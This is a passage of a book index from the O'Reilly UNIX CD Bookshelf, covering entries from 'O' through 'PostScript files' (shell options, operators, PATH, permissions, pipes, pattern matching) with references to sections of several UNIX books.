Learning the Korn Shell, 3.4.3.1. Miscellaneous Variables
Learning the Korn Shell, 4.5. Advanced Examples: pushd and popd
Learning the Korn Shell, 5.1.1. Exit Status and Return
Learning the Korn Shell, 7.3. Command-line Processing
UNIX in a Nutshell, 4.3.2. Built-in Shell Variables
olid hardware : UNIX Power Tools, 20.6. Writing a Tape Drive on a Remote Machine
on-line manual : (see man pages)
onintr command (csh) : UNIX in a Nutshell, Chapter 5, Reference: onintr
online archive, software : UNIX Power Tools, 52.7.2. Online Archive
online documentation : (see manual pages)
online manual source file extension : UNIX Power Tools, 1.17. Filename Extensions
open command (ex) : UNIX in a Nutshell, Chapter 9, Reference: open
OPEN LOOK : Learning the Korn Shell, A.3. wksh
open mode : (see ex editor, open mode)
opening a file (vi)
Learning the vi Editor, 1.1. Opening and Closing Files
Learning the vi Editor, 1.1.1. Opening a File
Learning the vi Editor, 1.1.2. Problems Opening Files
openwin command : UNIX in a Nutshell, Chapter 2, Reference: openwin
OpenWindows
configuring : UNIX in a Nutshell, Chapter 2, Reference: openwin
programs and utilities : UNIX in a Nutshell, Chapter 2, Reference: openwin
operating system, definition of : Learning the UNIX Operating System, The UNIX Operating System
operators
arithmetic : (see arithmetic operators)
assignment : (see assignment operators)
awk : (see awk scripting language)
bitwise/logical
UNIX Power Tools, 45.28. Quick Reference: expr
UNIX Power Tools, 47.4.3.3. Bitwise and Logical Operators
Boolean
sed & awk, 7.8. Relational and Boolean Operators
sed & awk, 11.1.4. Variables as Boolean Patterns
C shell : UNIX in a Nutshell, 5.4.1. Operators
comparison : UNIX Power Tools, 47.4.3.4. Comparison Operators
file inquiry : UNIX Power Tools, 47.4.3.5. File Inquiry Operators
postfix versus prefix : sed & awk, 7.6. Expressions
precedence in C shell : UNIX Power Tools, 47.4.2. Expressions
relational
UNIX Power Tools, 45.28. Quick Reference: expr
sed & awk, 7.8. Relational and Boolean Operators
string editing : UNIX Power Tools, 45.12. Parameter Substitution
unmatched : UNIX Power Tools, 46.1.2. Unmatched Operators
opost flag : UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
OPTARG variable : Learning the Korn Shell, 6.1.3. getopts
OPTARGET shell variable : UNIX in a Nutshell, 4.3.2. Built-in Shell Variables
OPTIND
Learning the Korn Shell, 6.1.3. getopts
UNIX in a Nutshell, 4.3.2. Built-in Shell Variables
options
Learning the Korn Shell, 3. Customizing Your Environment
Learning the Korn Shell, 3.3. Options
sed & awk, 2.2. Command-Line Syntax
sed & awk, 2.3.1. Specifying Simple Instructions
(see also under specific option)
awk : sed & awk, 2.4.3. Summary of Options
bgnice
Learning the Korn Shell, 3.3. Options
Learning the Korn Shell, 8.5.2. Advantages and Disadvantages of Coroutines
Learning the Korn Shell, A.6. Workalikes on PC Platforms
combining : sed & awk, 2.3.2.3. Mixing options (POSIX)
command-line : (see command-line options)
dash : (see command-line options)
emacs
Learning the Korn Shell, 2.1. Enabling Command-line Editing
Learning the Korn Shell, 3.3. Options
ignoreeof : Learning the Korn Shell, 3.3. Options
keyword : Learning the Korn Shell, 3.5.1. Environment Variables
obsolescence in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
list of : Learning the Korn Shell, B.1. Invocation Options
set -o : Learning the Korn Shell, B.5. Options
typeset : Learning the Korn Shell, B.6. Typeset Options
list of those not supported in pdksh : Learning the Korn Shell, A.4. pdksh
markdirs : Learning the Korn Shell, 3.3. Options
monitor
Learning the Korn Shell, 8.2. Job Control
Learning the Korn Shell, A.6. Workalikes on PC Platforms
in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
noclobber
Learning the Korn Shell, 3.3. Options
Learning the Korn Shell, 7.1. I/O Redirectors
Learning the Korn Shell, 10.2.3. Types of Global Customization
Learning the UNIX Operating System, 5.1.1.1. The > operator
UNIX Power Tools, 6.8. Shell Variables
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX Power Tools, 13.6. Safe I/O Redirection with noclobber
UNIX Power Tools, 23.7. Safer File Deletion in Some Directories
UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
noexec : Learning the Korn Shell, 9.1.1. Set Options
turning on and off : Learning the Korn Shell, 9.1.1. Set Options
noglob : Learning the Korn Shell, 3.3. Options
privileged
Learning the Korn Shell, 10.3.4. Privileged Mode
Learning the Korn Shell, A.6. Workalikes on PC Platforms
sed : sed & awk, 2.3.2.4. Summary of options
trackall
Learning the Korn Shell, 3.3. Options
Learning the Korn Shell, 10.2.3. Types of Global Customization
obsolescence in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
turning on and off
Learning the Korn Shell, 3.3. Options
Learning the Korn Shell, 9.1.1. Set Options
verbose : Learning the Korn Shell, 9.1.1. Set Options
vi
Learning the Korn Shell, 2.1. Enabling Command-line Editing
Learning the Korn Shell, 3.3. Options
xtrace : Learning the Korn Shell, 9.1.1. Set Options
opttest script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
OR (||) operator : sed & awk, 7.8. Relational and Boolean Operators
order of operations : sed & awk, 3.1. That's an Expression
commands in scripts : sed & awk, 4.1. Applying Commands in a Script
orphans : (see processes, in pathological states)
ORS variable
sed & awk, 7.7. System Variables
sed & awk, 7.7.1. Working with Multiline Records
OS/2 : Learning the Korn Shell, A.6. Workalikes on PC Platforms
Version 2 : Learning the Korn Shell, 8. Process Handling
OSF/Motif : Learning the Korn Shell, A.3. wksh
other shells : (see entries for individual shells)
out of band approach for flow control : UNIX Power Tools, 41.2.4. Flow Control (We Hope)
output : (see I/O)
output, redirecting : (see >; redirection)
overwrite mode : UNIX Power Tools, 32.5. Putting Emacs in Overwrite Mode
overwriting files
Learning the UNIX Operating System, 5.1.1.1. The > operator
UNIX Power Tools, 8.4. Command Evaluation and Accidentally Overwriting Files
ownership, file
Learning the UNIX Operating System, 3.1.8.1. ls
UNIX Power Tools, 22.2.1. User, Group, and World
UNIX Power Tools, 22.3. Who Will Own a New File?
BSD UNIX and : UNIX Power Tools, 22.20. Why Can't You Change File Ownership Under BSD UNIX?
changing
UNIX Power Tools, 22.21. How to Change File Ownership Without chown
UNIX in a Nutshell, Chapter 2, Reference: chgrp
UNIX in a Nutshell, Chapter 2, Reference: chown
group : (see groups)
searching by : UNIX Power Tools, 17.16. Searching by Owner and Group

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: P

p command (sed)
sed & awk, 5.8. Print
UNIX in a Nutshell, Chapter 10, Reference: p
P command (sed)
sed & awk, 6.1.3. Multiline Print
UNIX in a Nutshell, Chapter 10, Reference: P
with N and D commands : sed & awk, 6.1.3. Multiline Print
p substitution flag : sed & awk, 5.3. Substitution
pack command : UNIX in a Nutshell, Chapter 2, Reference: pack
packed file extension : UNIX Power Tools, 1.17. Filename Extensions
packed files, displaying : UNIX in a Nutshell, Chapter 2, Reference: pcat
page faults, number of : UNIX Power Tools, 39.3. The csh time variable
PAGER environment variable
UNIX Power Tools, 6.3. Predefined Environment Variables
UNIX in a Nutshell, Chapter 2, Reference: man
pages
rearranging in PostScript files : UNIX Power Tools, 43.24. Other PostScript Utilities
resizing in PostScript files : UNIX Power Tools, 43.24. Other PostScript Utilities
pagination, nroff/troff requests for : UNIX in a Nutshell, 12.5.12. Pagination
paging and pagers
UNIX Power Tools, 25.3. Using more to Page Through Files
UNIX Power Tools, 25.5. Page Through Compressed, RCS, Unprintable Files
UNIX Power Tools, 39.12.2. The Memory Subsystem
UNIX Power Tools, 46.1.1. Use -xv
more utility
Learning the Korn Shell, 1.7.3. Pipelines
Learning the Korn Shell, 3.4.2.4. Terminal Types
Learning the Korn Shell, 8.5. Coroutines
Learning the UNIX Operating System, 3.2.2. more
Learning the UNIX Operating System, 5.2.3. pg and more
UNIX Power Tools, 9.19. For the Impatient: Type-Ahead
UNIX Power Tools, 25.3. Using more to Page Through Files
UNIX in a Nutshell, Chapter 2, Reference: more
starting : UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
testing with screensize file : UNIX Power Tools, 42.6.2. Screen Width and Height: screensize
pg utility
Learning the UNIX Operating System, 3.2.3. pg
Learning the UNIX Operating System, 5.2.3. pg and more
UNIX in a Nutshell, Chapter 2, Reference: pg
piping to
UNIX Power Tools, 1.4. Using Pipes to Create a New Tool
UNIX Power Tools, 13.4. Problems Piping to a Pager
UNIX Power Tools, 46.1.1. Use -xv
paircheck script
UNIX Power Tools, 29.9. Looking for Closure
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
paired item checking : UNIX Power Tools, 29.9. Looking for Closure
panic message : UNIX Power Tools, 1.14. The Kernel and Daemons
paragraphs, emacs commands for : UNIX in a Nutshell, 7.2.4. Paragraphs and Regions
parallelizing shell scripts : Learning the Korn Shell, 8.5.3. Parallelization
parameter substitution
UNIX Power Tools, 45.9. The Unappreciated Bourne Shell ":" Operator
UNIX Power Tools, 45.12. Parameter Substitution
parameters, command-line : (see command-line options)
parameters, function : sed & awk, 9.3. Writing Your Own Functions
parameters, script : sed & awk, 7.10. Passing Parameters Into a Script
parent directory : UNIX Power Tools, 1.21. Making Pathnames
parent directory, .. shortcut for
Learning the UNIX Operating System, 3.1.5.2. Relative pathnames up
Learning the UNIX Operating System, 3.1.8.1. ls
Learning the UNIX Operating System, 4.4.2.1. cp
parent's PID : UNIX Power Tools, 38.5. The ps Command
parent-child relationships
environment variables and : UNIX Power Tools, 6.2. Parent-Child Relationships
parentheses : (see ())
parity : UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
parsing : sed & awk, 2.1. Awk, by Sed and Grep, out of Ed
in C shell
UNIX Power Tools, 47.2.2.3. Stupid Parsing Bugs
UNIX Power Tools, 47.2.6. Expression Evaluation
character strings : UNIX Power Tools, 45.30. Grabbing Parts of a String
command-line arguments
UNIX Power Tools, 44.18. Standard Command-Line Parsing
UNIX Power Tools, 44.19. The Bourne Shell set Command
examples : UNIX Power Tools, 47.2.2.3. Stupid Parsing Bugs
output of getopt : UNIX Power Tools, 44.18. Standard Command-Line Parsing
referencing fields
sed & awk, 2.4.1. Running awk
sed & awk, 7.5.1. Referencing and Separating Fields
sed command for : UNIX Power Tools, 45.30.4. Using sed
set command for : UNIX Power Tools, 45.30.3. Using set
strings
UNIX Power Tools, 35.21. Using IFS to Split Strings
sed & awk, 8.4.4. Using split() to Create Arrays
sed & awk, 11.2.1.2. Obtaining individual characters
Pascal
Learning the Korn Shell, 4. Basic Shell Programming
Learning the Korn Shell, 4.1.1. Functions
Learning the Korn Shell, 4.2. Shell Variables
Learning the Korn Shell, 4.3.1. Syntax of String Operators
Learning the Korn Shell, 5.1.1. Exit Status and Return
Learning the Korn Shell, 5.1.1.1. Return
Learning the Korn Shell, 5.2. for
Learning the Korn Shell, 5.3. case
Learning the Korn Shell, 5.5. while and until
Learning the Korn Shell, 6. Command-line Options and Typed Variables
Learning the Korn Shell, 7.3.2.1. The C Compiler as Pipeline
passwd command
Learning the UNIX Operating System, 3.5. Changing Your Password
UNIX Power Tools, 9.26.2. Automating /bin/passwd
UNIX in a Nutshell, Chapter 2, Reference: passwd
passwd file
Learning the Korn Shell, 1.7.3. Pipelines
Learning the Korn Shell, 7.1.1. Here-documents
Learning the Korn Shell, 7.3.1. Quoting
Learning the Korn Shell, 7.3.2.1. The C Compiler as Pipeline
Learning the Korn Shell, 10.3.1. Restricted Shell
UNIX Power Tools, 1.23. File Access Permissions
UNIX Power Tools, 50.12. Common UNIX Error Messages
UNIX in a Nutshell, 4.2.1. Special Files
passwords
changing
Learning the UNIX Operating System, 3.5. Changing Your Password
UNIX in a Nutshell, Chapter 2, Reference: passwd
chkey command : UNIX in a Nutshell, Chapter 2, Reference: chkey
for files : UNIX in a Nutshell, Chapter 2, Reference: crypt
logging in and : Learning the UNIX Operating System, 1.1.2. Logging In
prompting for : UNIX in a Nutshell, Chapter 2, Reference: keylogin
root
UNIX Power Tools, 1.23. File Access Permissions
UNIX Power Tools, 1.24. The Superuser (Root)
paste command
UNIX Power Tools, 35.18. Pasting Things in Columns
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: paste
pasting in xterm window : Learning the UNIX Operating System, 2.4.3. Using a Mouse with xterm Windows
patch program
UNIX Power Tools, 28.3. Context diffs
UNIX Power Tools, 33.6. Change Many Files by Editing Just One
UNIX Power Tools, 33.9. patch: Generalized Updating of Files that Differ
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX Power Tools, 52.8.1.1. Missing Programs
(see also diff command)
patches, compiling the pcal package : UNIX Power Tools, 52.8.2.5. Applying Patches
PATH enviroment variable
Learning the Korn Shell, 3.4.2.5. Command Search Path
Learning the Korn Shell, 3.5.1. Environment Variables
Learning the Korn Shell, 4.1. Shell Scripts and Functions
Learning the Korn Shell, 4.5. Advanced Examples: pushd and popd
Learning the Korn Shell, 5.5. while and until
Learning the Korn Shell, 6.2.2. Arithmetic Variables and Assignment
Learning the Korn Shell, 6.3.4. Type and Attribute Options
Learning the Korn Shell, 7.2.1.2. Options to print
Learning the Korn Shell, 7.3. Command-line Processing
Learning the Korn Shell, 10.1. Installing the Korn Shell as the Standard Shell
Learning the Korn Shell, 10.2.3. Types of Global Customization
Learning the Korn Shell, 10.3.4. Privileged Mode
Learning the Korn Shell, A.1. The Bourne Shell
Learning the Korn Shell, A.6. Workalikes on PC Platforms
Learning the UNIX Operating System, 3.6. Customizing Your Account
UNIX Power Tools, 1.10. Internal and External Commands
UNIX Power Tools, 4.10. Find All Command Versions with whereiz
UNIX Power Tools, 6.3. Predefined Environment Variables
UNIX Power Tools, 6.4. The PATH Environment Variable
UNIX Power Tools, 9.7. String Editing in ksh and bash
UNIX in a Nutshell, 4.3.3. Other Shell Variables
UNIX in a Nutshell, 5.3.5. Environment Variables
in C shell : UNIX Power Tools, 47.2.5. Variable Syntax
finding commands : UNIX Power Tools, 6.1. What Environment Variables Are Good For
identifying UNIX version : UNIX Power Tools, 50.8. Which Version Am I Using?
in restricted shell : Learning the Korn Shell, 10.3.1. Restricted Shell
security problem with
Learning the Korn Shell, 3.4.2.5. Command Search Path
Learning the Korn Shell, 10.3.2. A System Break-in Scenario
in shell setup files : UNIX Power Tools, 8.7.1. Setting Path in Shell Setup Files
path shell variable
UNIX Power Tools, 6.5. PATH and path
UNIX Power Tools, 6.9. Special C Shell Variables
UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
as array : UNIX Power Tools, 47.5. Using C Shell Arrays
pathchk program : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
pathnames : Learning the UNIX Operating System, 3.1.3. The Directory Tree
absolute
Learning the UNIX Operating System, 3.1.4. Absolute Pathnames
UNIX Power Tools, 2.6. Use Absolute Pathnames in Shell Setup Files
UNIX Power Tools, 2.16. Approved Shells: Using Unapproved Login Shell
archiving with : UNIX Power Tools, 19.6. GNU tar Sampler
creating : UNIX Power Tools, 1.21. Making Pathnames
for current directory : UNIX Power Tools, 14.13. Which Directory Am I in, Really?
editing : UNIX Power Tools, 7.4. Faster Prompt Setting with Built-Ins
finding : UNIX Power Tools, 4.10. Find All Command Versions with whereiz
full : Learning the Korn Shell, 1.6.1. Directories
in uppercase : UNIX Power Tools, 52.5.3.4. Installing a Single Program
limitations in restricted shell : Learning the Korn Shell, 10.3.1. Restricted Shell
links and : UNIX Power Tools, 18.6. Stale Symbolic Links
modifiers : UNIX in a Nutshell, 5.3.2.1. Examples Using Pathname Modifiers
parsing directory name from : UNIX Power Tools, 16.17. Getting Directory Name from a File's Pathname
relative
Learning the Korn Shell, 1.6.1.1. The working directory
Learning the UNIX Operating System, 3.1.5. Relative Pathnames
UNIX Power Tools, 2.6. Use Absolute Pathnames in Shell Setup Files
relative vs. absolute : UNIX Power Tools, 14.2. Using Relative and Absolute Pathnames
stripped from filenames : UNIX Power Tools, 45.18.1. Introduction to basename and dirname
symbols in : UNIX Power Tools, 44.15.1. With the $@"
on tape drives : UNIX Power Tools, 20.4.1. Restoring a Few Files
tar archives and : UNIX Power Tools, 20.8.2. Type Pathnames Exactly
tar command and : UNIX Power Tools, 20.10. Avoid Absolute Paths with tar
wildcards and
UNIX Power Tools, 15.1. File Naming Wildcards
UNIX Power Tools, 15.6. Maybe You Shouldn't Use Wildcards in Pathnames
pattern addressing
sed & awk, 2.1. Awk, by Sed and Grep, out of Ed
sed & awk, A.2.1. Pattern Addressing
pattern matching
UNIX Power Tools, 21.14. Automatically Appending the Date to a Filename
sed & awk, 1.3. A Pattern-Matching Programming Language
sed & awk, 1.4. Four Hurdles to Mastering sed and awk
sed & awk, 2.2.1. Scripting
UNIX in a Nutshell, 6. Pattern Matching
(see also metacharacters/wildcards; regular expressions; special characters)
in awk : sed & awk, 7.4. Pattern Matching
character sets : UNIX Power Tools, 26.4.2. Matching a Character with a Character Set
closure : sed & awk, 3.2.5. Repeated Occurrences of a Character
egrep script for : UNIX Power Tools, 27.7. grepping for a List of Patterns
by exclusion : UNIX Power Tools, 26.4.5. Exceptions in a Character Set
extent of match : sed & awk, 3.2.12.1. The extent of the match
fixed strings : sed & awk, 3.2.3. Writing Regular Expressions
in case statements : UNIX Power Tools, 44.6. Pattern Matching in case Statements
limiting extent of match : UNIX Power Tools, 26.7. Limiting the Extent of a Match
metacharacter examples
UNIX Power Tools, 26.8. I Never Meta Character I Didn't Like
(see also metacharacters)
over multiple lines : sed & awk, 3.2.7.1. Phrases
phrases : sed & awk, 3.2.7.1. Phrases
operators for
Learning the Korn Shell, 4.3.3. Pattern-matching Operators
Learning the Korn Shell, 4.5. Advanced Examples: pushd and popd
Learning the Korn Shell, 5.2. for
Learning the Korn Shell, 5.3. case
Learning the Korn Shell, 5.5. while and until
Learning the Korn Shell, 6.2.2. Arithmetic Variables and Assignment
quick reference : UNIX Power Tools, 26.10. Pattern Matching Quick Reference with Examples
replacement patterns
UNIX Power Tools, 26.4.11. Extended Regular Expressions
UNIX Power Tools, 26.10. Pattern Matching Quick Reference with Examples
at start/end of words : sed & awk, 3.2.11. What's the Word? Part II
wildcards : UNIX Power Tools, 44.6. Pattern Matching in case Statements
pattern space
sed & awk, 4.1.1. The Pattern Space
sed & awk, 6.3. Hold That Line
(see also hold space)
deleting contents of : (see d command (sed))
displaying : (see l command (sed))
inputing file into : (see reading from files)
insert and append commands and : sed & awk, 5.5. Append, Insert, and Change
multiline : sed & awk, 6.1. Multiline Pattern Space
patterns
sed & awk, 2.1. Awk, by Sed and Grep, out of Ed
sed & awk, 2.2.1. Scripting
sed & awk, B.2.3. Patterns
awk utility : UNIX Power Tools, 33.11.2. Patterns and Procedures
ex editor
UNIX Power Tools, 30.9. Using Search Patterns and Global Commands
UNIX Power Tools, 30.14. Moving Blocks of Text by Patterns
vi editor
UNIX Power Tools, 30.9. Using Search Patterns and Global Commands
UNIX Power Tools, 30.14. Moving Blocks of Text by Patterns
vi editor and : UNIX Power Tools, 30.27. vi Compound Searches
patterns, awk : UNIX in a Nutshell, 11.3. Patterns and Procedures
Patterson, Dave : UNIX Power Tools, 11.14.1. In the C Shell: redo
pbm (portable bitmap) format : UNIX Power Tools, 43.25. The Portable Bitmap Package
PC text files : UNIX Power Tools, 35.11. Hacking on Characters with tr
pcal program
UNIX Power Tools, 48.9. PostScript Calendars with pcal
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX Power Tools, 52.8.2.1. Copying the Sources
calen program versus : UNIX Power Tools, 48.8. Calendar for 132-Column Terminals or Printers
pcat command : UNIX in a Nutshell, Chapter 2, Reference: pcat
PCs
Learning the Korn Shell, 3.4.2.4. Terminal Types
Learning the Korn Shell, A. Related Shells
Learning the Korn Shell, A.6. Workalikes on PC Platforms
sed & awk, DOS Versions
pdksh : (see public domain Korn shell)
per-process transfer rate : UNIX Power Tools, 39.12.3. The I/O Subsystem
per-shell files
reading : UNIX Power Tools, 40.4. Choosing the Shell Run (We Hope) by at
percent sign : (see %)
performance
csh (C shell) : UNIX Power Tools, 2.9. Speeding Up Your C Shell with set prompt Test
dd command an remote tape drives : UNIX Power Tools, 20.6. Writing a Tape Drive on a Remote Machine
factors affecting : UNIX Power Tools, 39.5. Why Is the System So Slow?
grep commands
UNIX Power Tools, 27.6. Fast grep Isn't
UNIX Power Tools, 27.9. New greps Are Much Faster
ksh and bash shells : UNIX Power Tools, 2.11. Faster ksh and bash Startup with $- Test
logins : UNIX Power Tools, 2.5. Tips for Speeding up Slow Logins
users and : UNIX Power Tools, 39.12.4. User Communities
period : (see .)
periodic execution, scheduling : UNIX Power Tools, 40.12. Periodic Program Execution: The cron Facility
Perl language
UNIX Power Tools, 37.1. What We Do and Don't Tell You About Perl
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX Power Tools, 52.8.1.1. Missing Programs
advantages : UNIX Power Tools, 37.2. Why Learn Perl? #1
customizing grep with : UNIX Power Tools, 27.12. Make Custom grep Commands (etc.) with perl
finding text files : UNIX Power Tools, 16.26. Finding Text Files with findtext
permissions
Learning the Korn Shell, 4.1. Shell Scripts and Functions
Learning the Korn Shell, 10.2.1. umask
Learning the Korn Shell, A.6. Workalikes on PC Platforms
Learning the UNIX Operating System, 3.1.8.1. ls
Learning the UNIX Operating System, 3.3.2. File Access Permissions
UNIX Power Tools, 1.23. File Access Permissions
UNIX Power Tools, 1.25. Access to Directories
UNIX Power Tools, 14.14. Automatic Setup When You Enter/Exit a Directory
UNIX Power Tools, 21.14. Automatically Appending the Date to a Filename
(see also encryption; groups)
access modes
Learning the UNIX Operating System, 3.1.8.1. ls
UNIX Power Tools, 1.23. File Access Permissions
UNIX Power Tools, 4.8. Making Directories Made Easier
UNIX in a Nutshell, Chapter 2, Reference: chmod
changing
UNIX Power Tools, 44.2. Writing a Simple Shell Program
UNIX in a Nutshell, Chapter 2, Reference: chmod
for sending email : UNIX in a Nutshell, Chapter 2, Reference: mesg
copying with cpmod utility : UNIX Power Tools, 22.16. Copying Permissions with cpmod
directory
Learning the UNIX Operating System, 3.3.1. Directory Access Permissions
UNIX Power Tools, 1.25. Access to Directories
UNIX Power Tools, 22.2. Tutorial on File and Directory Permissions
file
Learning the UNIX Operating System, 3.3.2. File Access Permissions
UNIX Power Tools, 14.14. Automatic Setup When You Enter/Exit a Directory
UNIX Power Tools, 22.7. Using chmod to Change File Permission
group : (see groups)
managing : UNIX Power Tools, 22.15. Juggling Permissions
modifying files without write access : UNIX Power Tools, 22.11. A Loophole: Modifying Files Without Write Access
octal notation : Learning the Korn Shell, 10.2.1. umask
scripts and : UNIX Power Tools, 22.19. Shell Scripts Must be Readable and (Usually) Executable
scripts for changing : UNIX Power Tools, 22.10. cx, cw, c-w: Quick File Permission Changes
searching by
UNIX Power Tools, 17.10. Running Commands on What You Find
UNIX Power Tools, 17.15. Searching for Files by Permission
set incorrectly : UNIX Power Tools, 8.1. What the Shell Does
setgid bit and : UNIX Power Tools, 22.5. Group Permissions in a Directory with the setgid Bit
sticky bit : UNIX Power Tools, 22.6. Protecting Files with the Sticky Bit
suid : (see suid shell scripts)
umask command and
Learning the UNIX Operating System, 3.6. Customizing Your Account
UNIX Power Tools, 14.14. Automatic Setup When You Enter/Exit a Directory
UNIX Power Tools, 22.2.1. User, Group, and World
UNIX Power Tools, 22.4. Setting an Exact umask
under Linux : Learning the UNIX Operating System, 3.3.3. More Protection Under Linux
personal crontab files : UNIX Power Tools, 40.5. Avoiding Other at and cron Jobs
personal files/directories
UNIX Power Tools, 4.5. Private (Personal) Directories
UNIX Power Tools, 4.7. Make More Directories!
personal wordlist, ispell program : UNIX Power Tools, 29.5. Adding Words to ispell's Dictionary
pg utility
Learning the UNIX Operating System, 3.2.3. pg
Learning the UNIX Operating System, 5.2.3. pg and more
UNIX in a Nutshell, Chapter 2, Reference: pg
pgm (graymap) format : UNIX Power Tools, 43.25. The Portable Bitmap Package
phone on PowerTools disk : UNIX Power Tools, 48.2. Online Phone and Address Lists
phone lists, creating : UNIX Power Tools, 48.2. Online Phone and Address Lists
phone script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
phonebill script (example) : sed & awk, 13.2. phonebill - Track Phone Usage
phrase script (example) : sed & awk, 6.5. To Join a Phrase
phrases : sed & awk, 3.2.7.1. Phrases
physical memory, running out of
UNIX Power Tools, 39.5. Why Is the System So Slow?
UNIX Power Tools, 39.12.2. The Memory Subsystem
Pic preprocessor : UNIX in a Nutshell, 16.3. Pic
pick script
UNIX Power Tools, 38.13. Interactively Kill Processes Matching a Pattern
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
PID variable : Learning the Korn Shell, A.6. Workalikes on PC Platforms
PIDs (process IDs)
Learning the UNIX Operating System, 6.1. Running a Command in the Background
UNIX Power Tools, 38.16. Why You Can't Kill a Zombie
pipe : (see | (vertical bar))
pipegrep script
UNIX Power Tools, 27.13. More grep-like Programs Written in Perl
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
pipelined edits : sed & awk, 4.4.4. Edits To Go
pipes
Learning the Korn Shell, 7.3. Command-line Processing
Learning the Korn Shell, 8. Process Handling
Learning the Korn Shell, 8.5. Coroutines
Learning the UNIX Operating System, 5.1. Standard Input and Standard Output
Learning the UNIX Operating System, 5.2. Pipes and Filters
UNIX Power Tools, 1.3. Programs Are Designed to Work Together
UNIX Power Tools, 1.30. Redirecting Input and Output
UNIX Power Tools, 44.7. Exit Status of UNIX Processes
(see also | (vertical bar))
in Bourne shell : UNIX Power Tools, 47.2.1.4. More Elaborate Combinations
in C shell : UNIX Power Tools, 47.2.1.4. More Elaborate Combinations
closing : sed & awk, 10.2. The close() Function
to code blocks : Learning the Korn Shell, 7.2.2.3. Code blocks
commands joined with : UNIX Power Tools, 44.2. Writing a Simple Shell Program
compared to two-way pipes : Learning the Korn Shell, 8.5.5. Two-way Pipes Versus Standard Pipes
creating new tools : UNIX Power Tools, 1.4. Using Pipes to Create a New Tool
directing output to : sed & awk, 10.5.1. Directing Output to a Pipe
exit status of : UNIX Power Tools, 44.7. Exit Status of UNIX Processes
limitations on : sed & awk, 10.8. Limitations
to pagers : UNIX Power Tools, 13.4. Problems Piping to a Pager
ps command in : UNIX Power Tools, 38.5. The ps Command
reading input from : sed & awk, 10.1.3. Reading Input from a Pipe
redirecting input/output : UNIX Power Tools, 13.1. Using Standard Input and Output
starting with cat command : UNIX Power Tools, 1.4. Using Pipes to Create a New Tool
system calls used in : Learning the Korn Shell, 8.5. Coroutines
two-way : (see two-way pipes)
plpr script (example) : sed & awk, 13.8. plpr - lpr Preprocessor
pnm graphic format : UNIX Power Tools, 43.25. The Portable Bitmap Package
pointer shape, mouse : Learning the UNIX Operating System, 2.4.1. Pointer Shape
pointing the mouse : Learning the UNIX Operating System, 2.4.2. Pointing, Clicking, and Dragging
popd command
Learning the Korn Shell, 4.5. Advanced Examples: pushd and popd
Learning the Korn Shell, 5.1.3.1. String comparisons
Learning the Korn Shell, 6.2.2. Arithmetic Variables and Assignment
Learning the Korn Shell, 10.2.3. Types of Global Customization
Learning the Korn Shell, A.5. bash
UNIX Power Tools, 7.11. dirs in Your Prompt: Better than $cwd
UNIX Power Tools, 14.6. The Shells' pushd and popd Commands
UNIX Power Tools, 14.14. Automatic Setup When You Enter/Exit a Directory
UNIX in a Nutshell, Chapter 5, Reference: popd
additional arguments : Learning the Korn Shell, 6.2.2. Arithmetic Variables and Assignment
functionality : Learning the Korn Shell, 4.5. Advanced Examples: pushd and popd
port contenders : Learning the UNIX Operating System, 1.1.1.2. Connecting with a data switch
port settings, problems with : UNIX Power Tools, 42.4. Checklist for Resetting a Messed Up Terminal
positional metacharacters : sed & awk, 3.2.7. Positional Metacharacters
positional parameters
Learning the Korn Shell, 4.2.1. Positional Parameters
Learning the Korn Shell, 6.1. Command-line Options
Learning the Korn Shell, 9.1.1. Set Options
Learning the Korn Shell, 9.2.2. The Preamble
in functions : Learning the Korn Shell, 4.2.1.1. Positional parameters in functions
number of (#) : Learning the Korn Shell, 4.2.1. Positional Parameters
syntax for higher than nine : Learning the Korn Shell, 4.2.2. More on Variable Syntax
positioning : (see alignment/positioning)
POSIX
1003.1 : Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
1003.2a (UPE) : Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
awk : (see awk scripting language)
character class additions
sed & awk, 3.2.4.2. Excluding a class of characters
sed & awk, B.2.4. Regular Expressions
character classes standard : sed & awk, 3.2.4.3. POSIX character class additions
history : Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
option conbinations, standard for : sed & awk, 2.3.2.3. Mixing options (POSIX)
regular expressions standard : sed & awk, 3.2.4.3. POSIX character class additions
shell
Learning the Korn Shell, A. Related Shells
Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
standard for labels : sed & awk, 6.4. Advanced Flow Control Commands
--posix option (gawk) : sed & awk, 11.2.3.1. Command line options
postfix operators : sed & awk, 7.6. Expressions
PostScript files
adding a font to : UNIX in a Nutshell, Chapter 2, Reference: download
converting : UNIX Power Tools, 43.23. psselect: Print Some Pages from a PostScript file
creating from troff files : UNIX in a Nutshell, Chapter 2, Reference: dpost
format documentation : UNIX Power Tools, 52.5.3.4. Installing a Single Program
managing, utilities for
UNIX Power Tools, 43.23. psselect: Print Some Pages from a PostScript file
